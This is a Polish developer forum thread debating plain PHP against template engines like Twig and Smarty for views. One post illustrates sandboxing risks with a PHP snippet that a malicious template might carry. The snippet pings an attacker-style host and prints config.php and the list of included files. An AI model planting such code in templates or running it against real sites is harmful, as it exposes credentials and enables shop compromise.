Witajcie, dopiero zaczynam się brać za tematykę frameworków. Z tego względu chciałbym Was zapytać czego używacie do budowania szablonów - twig, czy php? I czemu?

Twig, w php mnie zawsze kusi, żeby w szablonie były elementy, które do szablonu nie należą i później robi się nieporządek.

php. Twig to moim zdaniem krok wstecz.

Dlaczego krok wstecz?

Lepiej zadać pytanie, które jest szybsze?

Twig i tak kompiluje się do postaci PHP, ale jeżeli projekt jest duży znacznie uprości to robotę.

IMHO - php. Nie tylko czysty jezyk jest szybki tak jak to możliwe, to jeszcze zawsze nadchodzi moment w którym powiesz: "Chciałbym to zrobić, ale nie mogę, bo twórca tego nie przewidział". W samym języku zrobisz to bez problemu, a w nakładkach czasem musisz zastosować różne tricki by osiągnąc tę samą funkcjonalność, nierzadko rezygnując z wielu innych umilaczy. Poza tym skoro znasz już sam język, to po co uczyć sie jeszcze czegoś, co w sumie jest tylko nakładką na to? Popatrz choćby na kobylaste smarty czy twiga i zastanów się po co... 90% rzeczy używanych nie różni się od szablonu w czystym php i różnice są głównie estetyczne...
foreach( $a AS $b) {} to {foreach $a as b}{/foreach} czy podobne. Jaki jest sens tego?

Inna sprawa to fakt, że nigdy do końca nie znasz implementacji określonej funkcji czy modyfikatora, jak choćby escape bez sięgnięcia w źródło samego systemu i tak... To htmlspecialchars czy htmlentities czy co? Na dodatek jeszcze nie wiesz z jakimi parametrami i czy Ci się ze stroną, serwerem czy bazą nie pogryzą tak, że więcej w tym będzie haków na hakach niż wygodnego użytkowania. Niestety większość systemów szablonów to zwyczajne kobyły i przerost formy nad treścią.

Smarty jest tego najlepszym przykładem. W pewnym momenice dochodzisz do sytuacji, że sam musisz pisać własne dodatki do tego systemu lub go modyfikować. teraz musisz znać masę zależności, wiedzieć co i jak, gdzie oraz po co, bo inaczej Ci parser szablonu zrobi "Jebut!" Innymi słowy tracisz mase czasu by poznać sam system szablonu zamiast zrobić sobie w php bibliotekę pomocniczą przynajmniej kilka razy szybciej.

EDIT: Jedyna sensowna rzecz to cache'owanie i tylko to warto implementować, a reszta może być zwykłym szablonem w czystym php

Czy te różnice szybkości, które nie są aż takie wielkie mają aż takie ogromne znaczenie przy aktualnych możliwościach sprzętowych? Powiedzmy sobie szczerze, nie tworzymy na co dzień aplikacji z których korzystają miliony osób w jednym momencie. Dlatego też chyba warto nadłożyć nad minimalną poprawę wydajności wygodę tworzenia kodu.

Edit:
PS. Jeśli ktoś tworzy na co dzień aplikacje, które w poście wykluczyłem, to szacunek i w takich sytuacjach rozumiem, że trzeba postawić przede wszystkim na wydajność.

Też tak uważam niestety :/ Jak dla mnie wprowadzenie komponentu templating to jedynie sprawny krok marketingowy.

Rozumiem wasze argumenty. Dla mnie niestety problemem było na początku korzystania z MVC nieumiejętność oddzielenia szablonu od implementacji logiki, co Smarty (wtedy jeszcze) na mnie wymuszało i tak jakoś się przyzwyczaiłem do tych jak to określiliście "nakładek". Czytając wasze argumenty poważnie się zastanowię czy nie czas wrócić do "czystego" php w warstwie widoku (nie ważne czy to w Symfony, czy jakiś innych aplikacjach, w tym autorskich rozwiązaniach).

@1010: Powiedz mi jaki jest sens nauki systemu szablonów, który w większości przypadków nie różni sie niemal niczym od swego php-owego odpowiednika? W wielu przypadkach to tylko minimalnie inna forma zapisu. Ile ja razy Smarty sklinałem za jego debilizmy i wolałem zrobić {php}{/php} niż spedzić kolejną godzine lub dwie bo twórcy czegoś tam nie przewidzieli, a hacki na forum smarty by to osiągnąć powodowały chęć walenia głową w ścianę. Na dodatek przy pewnym stopniu złożoności kod stawał się karkołomnie nieczytelny, bo nie wiadomo nagle skąd się połowa zmiennych bierze, które są choćby węwnetrznymi indeksami pętli. Ktoś, kto miałby to analizować lepiej gdyby od razu strzelił sobie w łeb Twig ma tę samą przypadłość. Zagnieźdź w sobie kilka pętli i spróbuj jakoś nad tym zapanować gdy w grę wchodzą loop, index itp. W pewnym momencie zaczynasz się gubić jak masz do tego się odwoływać. Jeszcze z klamerkami, czy już nie, a może ze znaczkiem dolara? Po prostu burdel na kółkach.

PS: Ja idac do pierwszej firmy nie znałem Smarty i po pierwszym zetknięciu pomyślalem "Fajne to!", do czasu gdy nie musiałem w tym wiecej zakodzić już bardziej złożonego. Smarty nadaje się do prostych layoutów jedynie tak naprawdę. I szybko się o tym przekonałem oraz co jakiś czas mnie trzepie gdy musze coś poprawiać lub unowocześniać w starych serwisach, bo one jeszcze na smarkach chodzą.
Z drugiej strony odradzam pisanie w czystym php layoutów gdy ktoś nie potrafi podzielić sobie szablonu na elementy funkcjonalne. Bo potem ma się 100 widoków, każdy na inna okazję

http://www.twig-project.org/

Lista argumentów za. Ja jak najbardziej jestem zwolennikiem Twiga, bo jest on mega lekki w porównaniu do Smarty, a jednocześnie daje nowe opcje takie jak np. dziedziczenie szablonów. Pisze się w nim bardzo szybko, a w momencie, gdy na coś nie pozwala jest spora szansa na zastanowienie się: czy aby na pewno powinienem robić to w tym właśnie miejscu?

Różnica w wydajności po skompilowaniu będzie niewielka, natomiast różnica w czytelności skomplikowanego szablonu kolosalna.

Właśnie w Twigu też jak najbardziej podoba mi się kilka rzeczy, jak np. dziedziczenie o którym wspomniał Hellz. Jeśli chodzi o Smarty to też na dzień dzisiejszy widzę, że jest to zbędna kobyła, którą przestałem "lubić".

Jeśli chodzi o naukę systemu szablonów to nie mówmy, że to jest wielka nauka. Idzie siąść bez żadnej wiedzy i po godzinie już pracować w danym systemie bez większej nauki.

Dziedziczenie szablonów? To nie jest argument, bo to nie jest cos co ma tylko Twig.

@1010:

To nie jest tak, że widok nie ma swojej logiki. Ma jak najbardziej - wyobraź sobie pojedyńczy ekran (akcję) np. liste ofert sprzedaży książek.
Gdy chcę wypluć pełną stronę HTML, to logiką widoku jest tutaj - w najprostrzym przypadku - otoczenie szablonu PHP layoutem (z nagłówkiem, stopką i innymi sidebarami). Pobierając tą samą listę ale AJAXem, jako JSON layout i szablon najchętniej bym pominął (bo wystarczy json_encode), ustawił odpowiedni content-type i zapewne znormalizował dane odebrane z kontrolera (zamienić obiekty biznesowe na tablicę). Podobnie będzie w przypadku PDF i Excela.

Niestety twórcy symfony - w standardzie, bo ViewBundle istnieje, ale jego implementacja w ogóle mi sie nie podoba - takich mozliwości nie zaserwowali. Chyba tylko w Agavi widziałem jak ta idea hula.

Decyzja czy użyć systemu szablonów czy czystego php jest stricte biznesowa i zależy od tego jakiego rodzaju to projekt. Jeśli tworzysz system którym umożliwia zaawansowane formatowanie treści przez użytkowników dodających własne templatki i nie chcesz żeby ktoś wyświetlił Ci całe źródło php to najlepiej jest skorzystać z systemu szablonów który "uniemożliwi" np iteracyjne przejści po katalogach i przeczytanie plików źródłowych i ich wyświetlenie. Przykładem takiego projektu jest prestashop, gdzie użytkownicy mają możliwość ściągnięcia i zainstalowania gotowych templatek. Łatwo sobie wyobrazić sytułację kiedy ktoś dorzuca do templatki kod

[PHP] pobierz, plaintext 
 
$curl_handle=curl_init();
curl_setopt($curl_handle,CURLOPT_URL,'http://hackthatshop.com/ping');
curl_exec($curl_handle);
curl_close($curl_handle);
 
if(isset($_GET['displaySource']))
{
//.....
var_dump(get_included_files());
echo file_get_contents('config.php');
}
[PHP] pobierz, plaintext 

dostaje dostęp do bazy, a potem zamawi co chce bez ograniczeń, smarty w tym przypadku ogranicza takie ryzyko do minimum. Jeśli projekt nie będzie miał takich restrykcji najlepiej omijać systemu szablonów. W Zend_View problem jest dość ciekawie rozwiązany, polecam też zerknąć w kod

twig to jest niemal to samo co smarty. Nie jestem fanem składni szablonów podobnych do smarty, nie chodzi o klamry, bo w pewien sposób upraszcza to trochę pisanie i jest trochę estetyczniejsze, tylko chodzi o to co jest pomiędzy tymi klamrami.. Szczerze mówiąc nie wiem po co parsować zawartość pomiędzy klamrami żeby użyć jakiejś pętli, skoro php umożliwia taki zapis pętli lub bloków:

foreach:

while:

if:


Co jest nawet uwzględnione w dokumentacji: http://www.php.net/manual/en/control-structures.while.php Podobnie też nie lubię niejawnego przekazywania zmiennych, tj zmienne są "wrzucane" do szablonu poprzez extract, i jest 0 kontroli nad takimi zmiennymi.. Jedyne co bym z treści wewnątrz klamer parsował to jakieś includowanie templatków, resztę bym poprostu zostawił takie jakie jest w php, jedynie żeby tylko klamry zastępowało odpowiednio na <php? oraz ?>. Cała reszta w tych szablonach jest zbędna, bo mając dostęp do php mamy już funkcjonalność. A jeżeli chodzi o dostęp powiedzmy do bazy danych. Jeżeli jest to klasa, i przekazujesz jakieś informacje do tej klasy to przecież bardzo łatwo ograniczyć co można użyć w takiej klasie a czego nie i tak na prawdę żadnych smarty nie potrzeba.

@zend: Ja rozumiem, że tworzenie zaawansowanych templatek wymaga pewnych zabiegów i złagodzenia polityki bezpieczeństwa, ale powiedz mi, który admin byłby na tyle głupi, by zezwolić na funkcje pokroju include, require, var_dump czy fopen bądź podobne, skoro wiadomo, że to jawne proszenie się o przetestowanie zabezpieczeń serwera oraz włam z rodzaju directory travestal. I to jeszcze ułatwiony aż do bólu. Nawet gdyby politykę bezpieczeństwa poluzował, to użyłby zapewne własnego systemu tagów i je parsował. Wcale do tego nie trzeba koniecznie twig czy smarty. Użyłby zwykłego bbcode i też by zdało egzamin.

Twig jest wzorowany bardziej na Django niż na Smarty i według mnie nie ma porównywalnej biblioteki w PHP, bo wydaje mi się, że Potencier nie pisałby tego od początku, nie sądzisz? Chyba, że uważasz go za kiepskiego programistę

Pewnie, że wszystko można zrealizować w czystym PHP, nie mniej to powoduje, że w natłoku obowiązków w szablonach pojawiają się prowizorki.. i kto takiej nie napisał, niech pierwszy rzuci kamień.

Dojrzalsze języki programowania także korzystają z systemu szablonów, wyobrażacie sobie napisanie widoku w czystej Javie?

S2 narzuca pewne bardzo dobre praktyki programowania, a jeżeli ktoś za wszelką cenę się chce przed nimi bronić, to jego sprawa. Ten framework to prawdziwy przełom dla języka PHP i prędzej czy później trzeba będzie go polubić, bądź dalej dłubać małe projekciki w jednoosobowym teamie.

Edit: Do poczytania argumenty F.P.
http://fabien.potencier.org/article/34/tem...-engines-in-php

Moim zdaniem tylko php ma sens. Systemy szablonów stworzono dla osób które nie bawią się w pisanie serca aplikacji a dla tych co odpowiadają za wygląd strony - html,css,js. Bo po co innego miało by to być?

Twig - Sporo pisałem ostatnio w django i jakoś Twig wydaje mi sie czyms naturalnym.

@thek
Jesli masz jakis nietypowy case, nieprzewidziany przez Tworce Twinga to mozesz napisac wlasnego extensiona. Wydaje mi się to lepszym pomysłem ponieważ wymusza możliwość uzycia raz napisanego kodu w innym miejscu. Inna sprawa ze taki kod latwiej przetestowac - jednostkowo chociazby.

Oj taaaaaaak bo po to sie tworzy szablon żeby jeszcze się (pierd|moz)olić z tworzeniem fikuśnych helperów.

Widok/Szablon = Formatowanie danych do wyświetlenia.

A z tym radzi sobie świetnie zwykłe PHP. Jeśli twórcy tego języka w całej swej mądrości nie wywaliliby jeszcze short_open_tags to by było jeszcze prościej ( krócej ). Poza tym ściągam każdy edytor wzpierający wyświetlanie PHP i mam podświetlanie składni. W przypadku twiga czy smartów muszę instalować jakieś bzdurne dodatki które nie każde IDE posiada. Wniosek = PHP

Może merytoryczne odniesienie do argumentów F.P. z cytowanego wpisu, czy nie bo nie to wszystko, co można tutaj uzyskać? Lista jest spora, a Wasze odpowiedzi wyglądają, jakby Wam się nawet nie chciało tam zajrzeć.

Konfigurację IDE przeprowadza się raz, a składnia podobna do Django powoduje, że nie ma problemu z odpowiednim wsparciem.

To ja się odniosę do tego co napisał Potencier:

Concision: Systemy szablonów NIE sprawdzają się w chwili gdy mamy do czynienia z czymś ciutkę innym niż domyślne języki ASCII i utf-8. Kto próbował pisać w iso-8859-2 ten nieraz przeklinał gdy wychodziły krzaki w nich, bo trzeba wtedy pisać albo własne funkcje które obejmą owo kodowanie, albo grzebać się w kodzie tego szablonu by uwzględnił jednak iso-latkę. Wiedza do tego konieczna - minimum poziom średnio-zaawansowany. Typowy klepacz layoutów nie ma szans tego zrobić sam. Escape nie jest tu wyjątkiem. Nie wiesz czy zastosowana wersja ucieczki jest tą potrzebną. Nie zawsze opcja ENT_QUOTES jest tą ktorej chcemy. Znowu grzebać się w bebechach trzeba lub pisać plugin czy funkcję?

Template oriented syntax: Zwróć jeszcze uwagę na IF, które wepchnieto do przykładu, bo ono wizualnie powiększa kod co skłania czytającego do myslenia, że to gorsze rozwiązanie. PHP znów daje większa kontrole nad tym co się dzieje. System szablonów zapewne próbuje wyłapać czy zmienna istnieje, ale co jeśli jej nie ma? Inna sprawa, że przykład jest dla mnie błędny if( $items ) ? a nie if( is_array( $items ) ) ? Chyba chcemy wiedzieć czy mamy do czynienia z tablicą, a nie byle czym co da się skonwertować dynamicznie do wartości niezerowej. Zauważ, że tutaj Potencier sięgnął do specyficznej właściwości Django jaką jest ELSE dla FOR, czyli wybiera przykład byle udowodnić swą tezę - dla mnie to FAIL.

Reusability: Na samym początku już Potencier wspomina o zmianach w php5 jakie zaszły, a cały punkt można streścić do: "Django ma to od lat i inni z tego rżną", ale nie ma tutaj pociągniętego wątku, że podobna rzecz już częściowo jest lub "za chwilke" będzie w PHP, a przemaglowana na wiele sposobów, zapewne nie będzie dziurawa.

Security: Zwróć uwagę na cały akapit. Potencier pokazuje że Django to ma, jednak chociaż szczerze pisze, że zdaje sobie sprawę, iż może to być wrzodem na tyłku i trzeba się także uciekać do wyłaczania tego automatu, oraz że jeden z pierwszych kompletnych (przeciwko XSS, CSFR i innych) tego typu mechanizmów właśnie framework PHP - Symfony - wprowadził. Taka kryptoreklama własnego rozwiązania

Sandbox mode: Znowu szczerość... Nie posiadają tego normalnie języki i systemy szablonów oraz trzeba to samemu implementować poprzez pisanie własnych rozwiązań (co wspomni zresztą nieco dalej przy modyfikowaniu Twiga przez siebie ). Tak więc tutaj znowu robotę musi odwalić programista od back-endu i grzebania się z całym zapleczem, bo front-developer za wiele tutaj nie zdziała.

Porównanie systemów szablonów:
Smarty: Słuszna zjebka - ciężka kobyła, która była wzorem składni dla Django. W chwili obecnej bardziej dla tych, którzy nie liczą się z wydajnością za grosz.
PHPTAL: Powstał do stron, a nie generowania wszystkiego out-of-box. Tak więc trochę dziwi mnie w minusach niemożliwość choćby tworzenia RSS, które są już pewną wariacja na temat XML-em, a więc coś czego nie było w założeniach tego języka.
eZ Components Templates: Wypunktowano zalety, ujeto wydajność jako minus. Pytanie się rodzi: "A czego się spodziewałeś innego?" Za każda nową funkcjonalność i ułatwienia trzeba zapłacić wydajnością. Im więcej rzeczy masz dostępnych "na dzień dobry", tym wolniej to będzie działać w środowisku produkcyjnym. Dlatego zawsze wybiera się narzędzie w odniesieniu do potrzeb by ten narzut ograniczyć do minimum.
Dwoo: Jako ciekawostka bardziej taki zmodyfikowany Smarty, ale niezbyt elastyczny by osiągnąć lepszą wydajność
Calypso: Konwersja Django na PHP i kolejny dowód, że przenoszenie żywcem rozwiązań z innych języków może sie odbić czkawką
Twig: Czyli zachwyt nad kodem i informacja, że wziąłem to i jeszcze popoprawiałem, innymi słowy kryptoreklama własnej "gałęzi rozwojowej". To czego mi brakuje w benchmarkach to brak skali porównawczej do tego o czym jest dyskusja w tym temacie, a więc porównanie do rozwiązania w "czystym" PHP. Czyli zapewne coś podobnego do tego co wygenerowałby Twig, ale znając życie z "ręcznymi" optymalizacjami

Podsumuje to tak: będę pisać o kilka znaków mniej, tylko po to żeby moja strona wczytywała się wolniej i zjadała więcej pamięci? Zdecydowanie jestem za czystym php, lub ewentualnemu parsowaniu klamerek do <?php ?> reszta jest zbędna bo ona już jest w php i nie trzeba wówczas pisać żadnych nowych pluginów, nie trzeba się uczyć nowej składni, brak ograniczeń narzucanych przez system templatek.

A ja nie bardzo rozumiem do końca po co są te systemy szablonów, kiedyś myślałem, że dla przejrzystości kodu żeby osoba zajmująca się tylko html i css miała łatwiej, zmieniłem jednak zdanie gdy kiedyś dałem pliki z szablonami smarty koledze, który miał zająć się wyglądem strony i znał tylko html i css informując go o tych smartach, niestety nie za bardzo to mu cokolwiek ułatwiło, bo nie znał smartów i część rzeczy usunął a część zmodyfikował nieświadomie, potem doszliśmy do wniosku, że lepiej jakby to jednak było php a nie smarty. Natomiast mnie wkurzyło to, że jak chciałem zrobić jakieś 2 niestandardowe rzeczy to musiałem w tym celu pisać pluginy - jeśli dobrze jeszcze pamiętam, bo to dawno było.

To jest właśnie to o czym Potencier najprawdopodobniej świadomie nie wspomniał... Znając php masz jednoczeście język stron i system szablonów w jednym. Jeśli jednak jesteś tylko znawcą "frontu", to jeśli to jest dynamiczne, musisz znać jakiś system szablonów czy będzie to PHP, Django czy cokolwiek innego. Ułatwieniem dla frontowca jest fakt, że musi on tylko znać CO wchodzi do szablonu jako dane i to wyświetlic odpowiednio. Jesli jednak jest coś nie tak, to cały bajzel spada na backend i to koleś od tego ma teraz ciężki orzech. Innymi słowy ułatwiając działania jednej stronie utrudniamy to po drugiej i nie da się takiego systemu szablonów napisać, by po obu stronach było super. Ma być super system szablonów, megaelastyczny - backendowiec dostaje po tyłku a wydajnośc leci na łeb, na szyję. Frontendowiec ma więcej pisania - backendowiec ma chwilkę luzu. Jeśli ktoś twierdzi, że osiągnął oba - kłamie Nie da się, stojąc, podnieść obu nóg do góry i nie rąbnąć na ziemię

1) Jeśli chcesz coś zrobić w języku szablonu (Twig), a jest to niemożliwe, to oznacza to mniej więcej tyle, że na 90% tą część kodu należy przenieść do kontrolera (backendu) - i to zarówno jako filtrowanie zmiennych w kontrolerze, jak i jako dopisanie filtrów, funkcji czy taga.

2) Automatyczne typowanie zmiennych w PHP nie można wykorzystywać jako czegoś złego - przykład, że chciałoby się sprawdzić, czy zmienna jest tablicą jest beznadziejny, bo to do programisty backendu należy albo dostarczyć, przykładowo, w zmiennej X tablicę. Poza tym mamy testy, np. none, defined, empty.

3) Systemy szablonów mają bardzo bogaty cache i sekcje (wstrzykiwanie partiali), co naprawdę wiele ułatwia programiście frontendowemu.

4) Dając frontendowcowi czysty kod PHP dajemy mu jednocześnie dużą swobodę - to racja, ale programowanie to nie klepanie miliarda funkcji, których nazwy można znaleźć w manualu, a rzemiosło, które wymaga też efektywnego podejścia do sprawy i stosowania rozwiązań, które nie przechodzą między warstwami stosowanego modelu tworzenia oprogramowania.

Kocham takie stwierdzenia. Skoro tak ci zalezy na tych paru milisekundach, to czemu wybrałeś jeden z najwolniejszych języków programowania jakie istnieją, czyli PHP? Pisz w assemblerze i uruchamiaj pod CGI, będzie szybciej...

Jednak PHP to nie jest język do nauki programowania. Człowiek kodujący głównie w nim zamienia dobre praktyki na złe i jeszcze sie z tego cieszy.

kazda technologia www pisana przez ludzi z głową, czy gości od springa, czy od asp, czy od django ma system templatek i jest to w pełni naturalne, jedynie w php trwa odwieczna dyskusja czy warto skrócic czas programowania o ileś procent czy warto przyspieszyc wykonywanie skryptu o 0.001%. Żeby było śmieszniej, w najwolniejszym języku z tych wszystkich.

Przypomina mi sie w tym momencie porównanie języków programowania gdzie wszystkie języki byly przedstawione jako samochody, a php jako dzieciecy rowerek.

przeciez wszystkie te PHP templates są "kompilowane" do postaci czystego PHP więc gdzie tu narzut wydajnościowy, a jesli komus zalezy na wydajnosci to bedzie musial zaimplementować cache-owanie widoków.. no i tu sie rodzi problem bo troche posiedzi, pokombinuje.. i wyjdzie mu wlasny templating engine, ktorego ktos kto przejmie projekt po nim bedzie musial sie nauczyc, poznawac jego budowe by zrobic cos czego autor nie przewidzial a na pewno tak wyjdzie, bo tworcy własnych frameworkow dopisuja funkcjonalnosci w razie potrzeby zamiast w calosci na raz. To juz lepiej zeby wszyscy pisali w twigu albo w smarty.

Grosz do grosza i będzie kokosza. Jak to mawiają. Oczywiście że mogę. Tylko pytanie gdzie ja to uruchomię? PHP jest na tyle popularny, że znalezienie serwera, to najmniejszy problem - a i cenowo dupy nie urywa.

Oczywiście, czystego php. Więc jaki jest sens używania tego, skoro i tak kompiluje do czystego php? Przyspiesza jakoś kodowanie? Nie bardzo.. Dodaje jakieś nowe funkcjonalności których w php nie ma? Nie bardzo, bo w końcu i tak musi wykorzystać php.. Czy wymaga odemnie jakiejś dodatkowej wiedzy? Owszem, za każdym razem kiedy będę chciał zrobić coś nowego. Czy wymaga odemnie nie tylko składni szablonu ale i również zasady działania tego systemu szablonów? Owszem, od czasu do czasu zapewne zdarzy się sytuacja która będzie mnie do tego zmuszać. Nie widzę potrzeby, aby pisanie tego samego, co mogę napisać w czystym php, jakoś upiększać czy coś w ten deseń. Więc jaki to ma cel? Żadnego. Ale działa efekt placebo i ludzie się tym jarają.

Nie twierdzę że skok wydajnościowy będzie ogromny, bo nie będzie, ale po co mam sobie utrudniać życie, poprzez naukę czegoś nowego, późniejsze zastanawianie się dlaczego to mi nie działa itp, oraz dodatkowo spowalniać swoją aplikacje, chodź nieznacznie, to wciąż spowalniać, w imię czego? Powszechnej mody? Standardów? Marketingu?

W życiu też staram się wybierać bardziej optymalne rozwiązania. Zakładając oponę w rowerze zwracam uwagę na "kierunek" rowków, bo po co mam się męczyć, chodź minimalnie, to jaki to ma mieć cel? Rower też jest jednym z wolniejszych pojazdów - mimo to przy odpowiednich "optymalizacjach", nie jednej, a wielu rzeczy, można osiągnąć jakieś sensowniejsze wyniki.

Jeżeli można coś zoptymalizować, to powinno się to zoptymalizować, po co marnować zasoby?

Patrząc z perspektywy osoby która zajmuje się całością od projektu do gotowego "produktu" twig nie ma sensu, ale twig nie jest skierowany do takich osób. Jego miejsce jest w zespołach w których istnieje ścisły podział pracy.
Programista od frontendu nie musi wiedzieć w jaki sposób za pomocą php przyciąć tekst do określonej wielkości aby mieścił mu się na stronie, do tego wystarczy mu prosty twigowy filtr, nauka tagów i filtrów to kwestia kilkudziesięciu minut, nie musi on się zagłębiać w język gdyż nie jest mu to potrzebne. Za to mając doświadczenie z innych systemów bardzo łatwo odnajdzie się w twigu, tak naprawdę nie będzie musiał wiedzieć nawet do jakiego języka będzie skompilowany jego szablon.

Patrząc na twiga trzeba rozumieć że został on stworzony wraz z symfony a samo symfony jest skierowany do średnich i dużych projektów, czyli takich gdzie jest stosowany ścisły podział obowiązków.

Osobiście polubiłem twiga i nie wyobrażam sobie aby wrócić do pisania bezpośrednio w php, osoby mające doświadczenie z django poczują się w nim jak przysłowiowa ryba w wodzie.

Narzut wydajnościowy jest taki mały (czy wogóle jest jakiś ?) że jest pomijalny a wygoda nieporównywalnie większa.

do mnie do pracy przyszedł grafik, ktory czaił htmla ale programowac z oczywistych względów w C# nie umiał.

Pokazaliśmy mu składnie razora (to taki twig czy smarty dla asp.net), jest ona bardzo prosta tylko zamiast klamerek {} uzywa sie w niej znaku małpy @, pokazalismy mu że to jest model i on wchodzi do widoku i to sobie moze wyswietlac i robił nam widoki bez problemu. Podejrzewam ze jakbysmy go zaczeli uczyc C# żeby mógł robic w nim widoki to by się po prostu zwolnił. w PHP byłoby podobnie.

szablony twiga są duzo czytelniejsze, łatwiej omieść wzrokiem { } niz <?php echo ?> w gąszczu znaczników.

lukier składniowy jest dla nas, po to bysmy mogli kodzić szybciej i sprawniej, i abyśmy mogli zrobic wiecej w jednostce czasu.

to tak samo jak z C# i javą/php. w C# moge zrobić pole public int Pole {get;set;} a w javie/php musze napisac
private $pole; public function getPole(){return $this->pole;} setPole($value){$this->pole=$value;}

niby to samo, duzo wiecej nie napisalem ale jednak pierwszy zapis pozwala lepiej wyłonić istotę problemu od bezproduktywnego kodu.

nie wiem ikar czy pracujesz sam czy w zespołach, pewnie sam, a jakbys pracowal w zespołach to byś poczuł różnice. No moze nie ty ale np twój frontendowiec.

poza tym frontendowcy, raczej sie nie wiążą z językiem programowania tylko skaczą sobie jesli zachodzi potrzeba, wiec fajnie jesli jezyki szablonów są do siebie podobne między frameworkami.

Po za tym w twigu czy smarty zrobisz dziedziczenie i przeciążanie szablonów oraz ich dekorowanie (co znakomicie zmniejsza renundancje w widokach), coś co w PHP jest raczej ciężko zrobić bez php_ob_start(); i pisania htmla w stringach zamiast w szablonach.

zreszta wszystko zalezy od skali projektów tak jak kolega wyzej napisał. Jak ktoś dobrze żyje z przerabiania joomli na budżetowe hostingi to moze faktycznie nie oplaca mu sie uczyc zadnego języka templatów.

a twig to nie jest jakas tam biblioteka napisana przez niewiadomo kogo w ktorej polowa rzeczy bedzie ci dzialac a polowa nie, wiec mozesz na nim polegać bez obaw ze bedziesz ją poprawiał.

napisales ikar o marnowaniu zasobów, zapomniałeś tylko że twoj czas to tez jest zasób, znacznie cenniejszy niż milisekundy pracy procesora na serwerze. no i gdzie tu optymalność?

Orzeszekk,tak przy okazji poczytałem dzisiaj o akcesorach.To że ty w prosty sposób zapisujesz:

[CSHARP] pobierz, plaintext 
public int Pole {get;set;}
[CSHARP] pobierz, plaintext 

to nie znaczy że ASP.NET tą akcję w prosty sposób generuje.On to sobie generuje bez twojej wiedzy do postaci:

[CSHARP] pobierz, plaintext 
private int _field;
public int Pole{
get{
return  _field
}
set
{
_field=value;
}
}
[CSHARP] pobierz, plaintext 

W nowszym frameworku wprowadzono to udogodnienie, aby niejako zwiększyć czytelność kodu, ale pod żadnym względem te metody niczym od siebie się nie różnią, ani nie wpływają na wydajność samej aplikacji.

Przecież o to właśnie chodzi. Programista może napisać 1 linijkę, a kompilator za niego wygeneruje pozostałe 10.

no tak generuje. Gdyby nie generował to ja bym to musial napisac.
o to chodzi by nie potrzebnie nie pisac czegos co moze byc wygenerowane przez kompilator.

no i to jest to samo co w twig. pisze 3 znaki zamiast 11, juz mam jakas korzysc. jak to napisał ktos wyzej: grosz do grosza a bedzie kokosza... zbierze sie takich drobnych usprawnien 20 i wyjdzie na koniec polowa kodu co pierwotnie

Wiem, że niesamowity odkop - ale błagam, niech ktoś usunie ten rakotwórczy wątek.


Naprawdę? Obiektowy system zarządzania widokiem od strony backendu i wygodny sposób obsługi dla frontendowców, który pozwala rozdzielić pracę na dwie osoby (dwa zespoły) nie wymuszając konfliktów między tymi osobami to krok wstecz?


W przypadku PHP nie ma mowy o "kompilacji".


Dzisiaj nie jest to najmniejszym problemem, dopisuje się własny Adapter i czy provider i można sobie spokojnie to dopisać.


Tak, najlepiej tworzyć koło od nowa. Z mniejszym doświadczeniem, mniejszą wiedzą i nie przewidując wszystkich problemów, z jakimi się borykali autorzy Twiga.



Ciekaw jestem czy dziś również byś to napisał.


Widok nie ma prawa mieć logiki dziedzinowej.

Nie cytuję już dalej.

Dziś każdy wie, że mieszanie kodu PHP z HTML jest ewidentnie złą praktyką. Ludzie czytając ten wątek mogą stwierdzić, że jest zgoła odwrotnie. Autorzy wpisów w tym wątku powinni przyznać, że musieli się lata temu mylić w odniesieniu do systemów szablonów.

Serce mi się kraja.

Wow, witamy pana nerwowego....

Jak juz sie troche uspokoisz to postaraj sie przeczytac rzeczy ktore zacytowales ze zrozumieniem oraz doczytac ich reszte.

Mieszanie logiki z wygladem jest zle a nie mieszanie php z html... to dwie rozne rzeczy. Rownie dobrze mozna przygotowac piekny szablon ktory bedzie php z html i bedzie to rownie piekne jak twoj TWIG z html. Chodzi o to by nie mieszac logiki z wygladem a w czym sobie zrobisz szablon to twoja sprawa.

Złota łopata jak nic :D

Ale w zasadzie można by to pociągnąć dalej.



Tego nie da się uniknąć, a robi to każdy system szablonów. To o czym wspominasz tyczyło się czasów strukturalnych, gdzie wszystko było klepane gdzie popadnie. Jeśli brać tylko widok na warsztat, to trzeba pierw określić jakiego jest rodzaju, ponieważ może być tylko upośledzonym bratem kontrolera i modelu, który tylko wyświetla pliki html z domieszką php np pętli do budowy menu i nie ma to znaczenia czy używamy składni systemu szablonów czy chociażby uproszczonej składni php.

A co do samego twiga czy innych... w sumie to już od kilku lat go nie używam, a nawet nie pamiętam kiedy ostatnio współpracowałem z kimś kto używał w widoku czegoś innego niż php, nie ma takiej potrzeby. To stało się sztuką dla sztuki, coś jak ORM

Oczywiście, że jest złą praktyką.
PHP nie jest systemem szablonów, to po pierwsze. Następnie, aby rozdzielić pracę front-endowca od back-endowca, wręcz powinno zrobić się wszystko, aby kod PHP był zupełnie odseparowany od strony HTML.
Nie widzę najmniejszego sensu, aby webdeveloper, który zajmuje się HTML+CSS+JS miał czytać kod PHP i zastanawiać się nad danymi jakie ma wpisać aby się odpowiednio renderowało.

Czytałem cały wątek, wszystkie wypowiedzi. W dobie, gdzie dąży się do podziału na 4 warstwy (Prezentacji, Aplikacji, Domeny, Infrastruktury) samo zastosowanie twiga nie jest potrzebne, bo cały kod front-endu komunikuje się za pomocą endpointów API z warstwą aplikacji.

Jesli zaś nie ma tylu środków, czy umiejętności, to tworzy sie kod odseparowany, gdzie w kontrolerze po prostu wykonuje się render danego template. Jakoś ludzie programujący w innych językach, jak Java, Python czy C# mają świadomość, że nie powinno się mieszać tych języków z HTMLem, a jakos w PHP się utarło, że "skoro można to czemu by nie mieszać"...

No dokladnie, w kontrolerze odpala sie widok. I co stoi na przeszkodzie by tym widokiem byl plik .phtml?

Odwieczna wojna: a bo koles od szablonu nie musi znac php. No ok, ale cos musi znac. NIe php to twig. Nie twig to smarty... i tak dalej i tak dalej

A jak inaczej wyświetlisz zmienną? Co jest złego w <?php echo $foo ?>, a lepsze jest {{ foo }}?

Ciekawe rzeczy opowiadasz...


A jaka jest różnica między:



a:

[PHP] pobierz, plaintext 
<?php echo $x;?>
<?php foreach($x as $key=>$value):?>
foo
<?php endforeach;?>
[PHP] pobierz, plaintext 

Dla frontendowca?



Myślę, że nie widzisz różnicy między kodem HTML w PHP, a kodem PHP w HTML. W innych językach nie zrobisz tego inaczej.

